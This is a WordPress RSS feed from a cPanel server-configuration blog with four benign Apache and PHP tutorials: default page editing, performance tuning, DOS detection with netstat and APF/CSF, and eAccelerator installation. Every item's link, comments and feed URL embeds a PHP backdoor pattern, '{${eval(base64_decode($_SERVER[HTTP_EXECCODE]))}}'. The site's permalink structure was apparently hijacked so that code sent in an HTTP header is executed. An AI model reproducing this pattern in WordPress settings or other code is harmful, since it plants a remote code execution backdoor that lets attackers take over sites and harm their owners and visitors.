<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>cPanelConfig - cPanel server configuration guide &#187; apache</title>
	<atom:link href="http://www.cpanelconfig.com/tag/apache/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.cpanelconfig.com</link>
	<description>The complete guide to setup and manage a cPanel based server</description>
	<lastBuildDate>Fri, 17 Jul 2009 11:15:39 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Customize Apache default Success page</title>
		<link>http://www.cpanelconfig.com/2008/12/03/customize-apache-default-success-page/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2008/12/03/customize-apache-default-success-page/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Wed, 03 Dec 2008 15:59:02 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[How to]]></category>
		<category><![CDATA[apache]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/?p=90</guid>
		<description><![CDATA[



Recently I was asked by a customer how to change the default Apache success page (the one that you see when you just type in the hostname for example). Surprisingly (or maybe not) this is not documented anywhere on cpanel docs or forums.
If you are faced with the same problem then you will be relieved [...]]]></description>
			<content:encoded><![CDATA[<p><script type="text/javascript"><!--
google_ad_client = "pub-1278592249908214";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "text_image";
//2007-09-07: cpanelconfig.com
google_ad_channel = "5743344290";
google_color_border = "FFFFFF";
google_color_bg = "FFFFFF";
google_color_link = "0361A0";
google_color_text = "000000";
google_color_url = "0361A0";
//-->
</script>
<script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script><br />
Recently I was asked by a customer how to change the default Apache success page (the one that you see when you just type in the hostname for example). Surprisingly (or maybe not) this is not documented anywhere on cpanel docs or forums.<br />
If you are faced with the same problem then you will be relieved to know that the solution is extremely simple.<br />
You just have to login to your server via ssh.<br />
Navigate to <strong>/usr/local/apache/htdocs</strong></p>
<blockquote><p>cd /usr/local/apache/htdocs</p></blockquote>
<p>And finaly edit the file index.html</p>
<blockquote><p>nano index.html</p></blockquote>
<p>If you list the content of /usr/local/apache/htdocs you will see that you can also modify the content of other error pages that cpanel&#8217;s apache outputs.<br />
<!--adsense--><br />
That&#8217;s it !</p>
<p>If you run into any problems don&#8217;t hesitate to leave a comment.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2008/12/03/customize-apache-default-success-page/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Apache tuning and optimization cPanel 11.x</title>
		<link>http://www.cpanelconfig.com/2008/01/11/apache-tuning-and-optimization-cpanel-11x/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2008/01/11/apache-tuning-and-optimization-cpanel-11x/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Fri, 11 Jan 2008 15:48:16 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[Optimization]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[http]]></category>
		<category><![CDATA[httpd]]></category>
		<category><![CDATA[tuning]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/optimize-a-cpanel-server/apache-tuning-and-optimization-cpanel-11x/</guid>
		<description><![CDATA[In this article I will try to teach you all the tricks to make your webserver (apache)  run faster. While the information in this article is not necessary new I tried compressing all the useful tips in one short article.
I&#8217;ve put this article on hold for far too long but here it it.
I would [...]]]></description>
			<content:encoded><![CDATA[<p>In this article I will try to teach you all the tricks to make your webserver (apache)  run faster. While the information in this article is not necessary new I tried compressing all the useful tips in one short article.<br />
I&#8217;ve put this article on hold for far too long but here it it.</p>
<p>I would like to start by saying that this article is not necessary meant for cPanel powered servers but I will make all my references to this type of servers. You can still apply all the tips here to all apache based webservers so don&#8217;t stop reading here if you don&#8217;t have cPanel !<br />
<!--adsense--></p>
<p>OK, lets start.<br />
First login to your server as root using ssh.</p>
<p>All the important configuration options are stored by Apache in a config file called httpd.conf that is located at /usr/local/apache/conf/httpd.conf We will start by opening this file in your favorite text editor. For exemple:</p>
<blockquote><p>nano /usr/local/apache/conf/httpd.conf</p></blockquote>
<ul>
<li><strong>MaxClients </strong>- Total number of 	concurrent connections.<br />
Locate it in the configuration file. This should be set to a reasonable value. I suggest using this formula to determine the right value for your server.</li>
<blockquote><p>MaxClients  = 150 x RAM (GB)</p></blockquote>
<p>So for example if you have 2 GB or RAM set this value to 300.<br />
There is no reason for you to set it any higher unless you have a specific problem with this value. A high value can lead to a complete server hang in case of a DOS attack. A value too low can create timeout problems for your clients if the limit is reached.</p>
<li><strong>MinSpareServers </strong>and <strong>MaxSpareServers </strong>- MaxSpareServers and MinSpareServers control how many spare (unused) child-processes Apache will keep alive while waiting for more requests to put them to use. Each child-process consumes resources, so having MaxSpareServers set too high can cause resource problems. On the other hand, if the number of unused servers drops below MinSpareServers, Apache will fork (an expensive operation) new child-processes until MinSpareServers is satisfied.</li>
<p>Leave those values to:</p>
<blockquote><p>MinSpareServers 5<br />
MaxSpareServers 10</p></blockquote>
<p>If you have more them 2 GB of RAM and you run a resource intensive website consider increasing MaxSpareServers.</p>
<li><strong>MaxRequestsPerChild</strong> &#8211; Controls the number of request the a child serves before the child is killed. This should not be set too low as it will put an unnecessary load on the apache server to recreate the child. I suggest setting it to:</li>
<blockquote><p>MaxRequestsPerChild 1000</p></blockquote>
<li><strong>KeepAlive</strong> and <strong>MaxKeepAliveRequests</strong> &#8211; KeepAlive provides long-lived HTTP sessions which allow multiple requests to be sent over the same TCP connection. In some cases this has been shown to result in an almost 50% speedup in latency times for HTML documents with many images, but having keepalive on is also a resource intensive setting.<br />
Here comes the big question: To KeepAlive or not to KeepAlive?<br />
<!--adsense--><br />
Well the opinions are mixed here, some say to KeepAlive some say not to.<br />
If you want to hear my option I would say NOT to KeepAlive if you are running a shared hosting business or if you want to get the most out of your hardware. You should KeepAlive only if the loading time of your pages is the most important factor in your business and you have the money to invest in a more powerful hardware. If you decide to KeepAlive I suggest you set MaxKeepAliveRequest low to something like 2 seconds.</li>
<li><strong>StartServers</strong> &#8211; Sets the     number of child server processes created on startup. This setting depends greatly on the type of webserver you run. If you run low traffic websites on that server set it low to something like 5. If you have resource intensive websites on that server you should set it close to MaxClients.</li>
<li><strong>Timeout </strong>- The amount of time Apache will wait for three things: the total amount of time it takes to receive a GET       request, The amount of time between receipt of TCP packets on a       POST or PUT request, the amount of time between ACKs on transmissions of TCP       packets in responses.<br />
The default value is 300. You should set time to something a bit lower. A setting of 150 is probably ok. This will also help in case of small DOS attacks like to ones targeting some phpBB forums. Do NOT set it any lower then 90 as your users will start having timeout problems.</li>
</ul>
<p>After you have done all the necessary changes you can go ahead and restart Apache.</p>
<blockquote><p>service httpd restart</p></blockquote>
<p>It should restart without any problems. If it doesn&#8217;t please double check the changes that you done.</p>
<p><strong>Important Notice ! </strong>After upgrading to cPanel 11 and recompiling Apache there is an extra step that you have to do so that the changes that you done to httpd.conf aren&#8217;t lost.<br />
Starting with cPanel 11.x all the apache setting are also stored in a database and the configuration files are recreated each time an account is added or a recompile is done.<br />
<!--adsense--><br />
To also save the changes in the database you will have to run:</p>
<blockquote><p>/usr/local/cpanel/bin/apache_conf_distiller &#8211;update</p></blockquote>
<p>You can check to see if the changes were accepted and will not be discarded at the next apache recompile by running</p>
<blockquote><p>/usr/local/cpanel/bin/build_apache_conf</p></blockquote>
<p>Hope this article will help a lot a people. I would like to hear your feedback on this, so please leave a comment !</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2008/01/11/apache-tuning-and-optimization-cpanel-11x/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
		<item>
		<title>Apache reading = DOS attack ?</title>
		<link>http://www.cpanelconfig.com/2007/12/17/apache-reading-dos-attack/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/12/17/apache-reading-dos-attack/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Mon, 17 Dec 2007 10:59:32 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[DOS]]></category>
		<category><![CDATA[flood]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/cpanel-security-related-articles/apache-reading-dos-attack/</guid>
		<description><![CDATA[If you are seeing many &#8220;? ..reading..&#8221; when your are clicking on Apache status in WHM  and your Apache server is slow, there is a chance that your http server is under a dos attach.

You can check this out by:

Log on your server as root
Type the fallowing command
 netstat -plan&#124;grep :80&#124;awk {&#8217;print $5&#8242;}&#124;cut -d: [...]]]></description>
			<content:encoded><![CDATA[<p>If you are seeing many &#8220;? ..reading..&#8221; when your are clicking on Apache status in WHM  and your Apache server is slow, there is a chance that your http server is under a dos attach.<br />
<!--adsense--><br />
You can check this out by:</p>
<ol>
<li>Log on your server as root</li>
<li>Type the fallowing command</li>
<blockquote><p> netstat -plan|grep :80|awk {&#8217;print $5&#8242;}|cut -d: -f 1|sort|uniq -c|sort -n</p></blockquote>
<p>You will see a list of IP&#8217;s with the number of connections each once has to your server.</p>
<li>If any IP&#8217;s have more then 100 connections then there is a chance that this is your attacker. Go ahead and block this IP using APF if you have it installed or CSF</li>
<p><!--adsense--></p>
<blockquote><p>apf -d IP<br />
or<br />
csf -d IP</p></blockquote>
</ol>
<p>Hope it helps !<br />
<!--adsense--><br />
If you have any questions don&#8217;t hesitate to leave a comment.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/12/17/apache-reading-dos-attack/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>How to install Eaccelerator</title>
		<link>http://www.cpanelconfig.com/2007/09/07/how-to-install-eaccelerator/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/09/07/how-to-install-eaccelerator/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Fri, 07 Sep 2007 13:04:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Optimization]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[eaccelerator]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/uncategorized/how-to-install-eaccelerator/</guid>
		<description><![CDATA[

What is Eaccelerator?
eAccelerator is a free open-source PHP accelerator, optimizer, and dynamic content cache. It increases the performance of PHP scripts by caching them in their compiled state, so that the overhead of compiling is almost completely eliminated. It also optimizes scripts to speed up their execution. eAccelerator typically reduces server load and increases the [...]]]></description>
			<content:encoded><![CDATA[<p><!--adsense--></p>
<blockquote></blockquote>
<p><strong>What is Eaccelerator?<br />
</strong>eAccelerator is a free open-source PHP accelerator, optimizer, and dynamic content cache. It increases the performance of PHP scripts by caching them in their compiled state, so that the overhead of compiling is almost completely eliminated. It also optimizes scripts to speed up their execution. eAccelerator typically reduces server load and increases the speed of your PHP code by 1-10 times.</p>
<p><strong>Install instructions</strong></p>
<ol>
<li>Login as root</li>
<li>Download Eaccelerator</li>
<blockquote><p>wget http://bart.eaccelerator.net/source/0.9.5.2/eaccelerator-0.9.5.2.zip</p></blockquote>
<li>Extract and move into the directory</li>
<blockquote><p>unzip eaccelerator-0.9.5.2.zip<br />
cd eaccelerator-0.9.5.2</p></blockquote>
<li>Locate where php is</li>
<blockquote><p>which php</p></blockquote>
<p>This should return something like: <strong>/usr/local/bin/</strong>php<br />
We have to remember the location of php</p>
<li>Create configuration files</li>
<blockquote><p>phpize</p></blockquote>
<li>Compile Eaccelerator</li>
<blockquote><p>./configure &#8211;enable-eaccelerator=shared &#8211;with-php-config=<strong>/usr/local/bin/</strong>php-config<br />
make<br />
make install</p></blockquote>
<p>The &#8220;make install&#8221; commnand will return the location of the eaccelerator.so extention please note the location. You will need this later.<br />
<!--adsense--></p>
<li>Install Eaccelerator into php.ini</li>
<p>This can be done as a Zend extension or as a PHP extention.<br />
I personally recommend installing it as a Zend extension.<br />
You will have to first locate php using the locate command</p>
<blockquote><p>locate php</p></blockquote>
<p>This will usualy return /usr/local/Zend/etc/php.ini on a server that has Zend optimizer installed.<br />
Now we will edit php.ini and add the Eaccelerator extension.</p>
<blockquote><p>pico /usr/local/Zend/etc/php.ini</p></blockquote>
<p>Scroll down to the buttom and add the fallowing <strong>before</strong> the lines about the zend optimizer (They start with [Zend])</p>
<blockquote><p>zend_extension=&#8221;/<strong>eaccelerator_location</strong>/eaccelerator.so&#8221;<br />
eaccelerator.shm_size=&#8221;16&#8243;<br />
eaccelerator.cache_dir=&#8221;/tmp/eaccelerator&#8221;<br />
eaccelerator.enable=&#8221;1&#8243;<br />
eaccelerator.optimizer=&#8221;1&#8243;<br />
eaccelerator.check_mtime=&#8221;1&#8243;<br />
eaccelerator.debug=&#8221;0&#8243;<br />
eaccelerator.filter=&#8221;"<br />
eaccelerator.shm_max=&#8221;0&#8243;<br />
eaccelerator.shm_ttl=&#8221;0&#8243;<br />
eaccelerator.shm_prune_period=&#8221;0&#8243;<br />
eaccelerator.shm_only=&#8221;0&#8243;<br />
eaccelerator.compress=&#8221;1&#8243;<br />
eaccelerator.compress_level=&#8221;9&#8243;</p></blockquote>
<li>Restart Apache</li>
<p>If you done everything it&#8217;s time to restart Apache</p>
<blockquote><p>service httpd restart</p></blockquote>
<li>Test to see if everything is ok</li>
<blockquote><p>php -v</p></blockquote>
<p>If you see something like you are all done.</p>
<blockquote><p>with eAccelerator v0.9.5.1, Copyright (c) 2004-2006 eAccelerator, by eAccelerator</p></blockquote>
</ol>
<p><!--adsense--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/09/07/how-to-install-eaccelerator/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
	</channel>
</rss>
